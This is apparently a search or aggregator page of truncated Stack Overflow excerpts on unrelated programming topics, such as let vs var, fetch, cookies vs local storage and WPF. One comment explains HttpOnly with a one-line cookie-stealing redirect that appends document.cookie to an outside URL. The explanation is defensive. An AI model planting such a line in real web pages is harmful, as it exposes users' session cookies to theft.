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What's the difference between using “let” and “var”?
...Foo"; // globally scoped
let bar = "Bar"; // globally scoped
console.log(window.foo); // Foo
console.log(window.bar); // undefined
Redeclaration
In strict mode, var will let you re-declare the same variable in the same scope while let raises a SyntaxError.
'use strict';
var foo = "foo1";
var f...
How to delete all datastore in Google App Engine?
...
Where is the path in Windows?
– Shane Best
May 13 '15 at 16:24
2
...
What use is find_package() if you need to specify CMAKE_MODULE_PATH anyway?
...port for dll, layout with bin/lib (try to install executable and run it on windows). And namespaces look very pretty, so I will keep them too :) Also I've added monolithic build.
– user2288008
Apr 30 '15 at 15:10
...
Prevent scroll-bar from adding-up to the Width of page on Chrome
...rollw = 0;
if(b.prop('scrollHeight')>b.height()){
normalw = window.innerWidth;
scrollw = normalw - b.width();
$('#container').css({marginRight:'-'+scrollw+'px'});
}
}
CSS for remove the h-scrollbar:
body{
overflow-x:hidden;
}
Try to take a look at this:
ht...
HTTP GET request in JavaScript?
...
The new window.fetch API is a cleaner replacement for XMLHttpRequest that makes use of ES6 promises. There's a nice explanation here, but it boils down to (from the article):
fetch(url).then(function(response) {
return response.js...
How do you properly determine the current script directory in Python?
...ss-platform way to get the user's directory. Unfortunately, that isn't the Windows best practice for where to stick application data.
– Ryan Ginstrom
Dec 1 '11 at 4:35
6
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Local Storage vs Cookies
... Just to give you an example: HttpOnly also prevents non-ajax attacks like window.location = 'http://google.com?q=' + escape(document.cookie);. This attack bypasses the browsers CORS check.
– Memet Olsen
Dec 20 '17 at 16:19
...
Is it possible to set code behind a resource dictionary in WPF for event handling?
...tionary. You can totally do this! In fact, you do it the same way as for a Window:
Say you have a ResourceDictionary called MyResourceDictionary. In your MyResourceDictionary.xaml file, put the x:Class attribute in the root element, like so:
<ResourceDictionary xmlns="http://schemas.microsoft.c...
How to prevent ENTER keypress to submit a web form?
...ent.which : event.charCode;
if( keyCode == 13 ) {
if(!e) var e = window.event;
e.cancelBubble = true;
e.returnValue = false;
if (e.stopPropagation) {
e.stopPropagation();
e.preventDefault();
}
}
...
Attempted to read or write protected memory. This is often an indication that other memory is corrup
...had several projects in my solution (Console application, WPF application, Windows Forms application) but it was failing only when, I was setting the "Console Application" type of project as start up project of the solution(Even for those which had literally no code or any additional assemblies refe...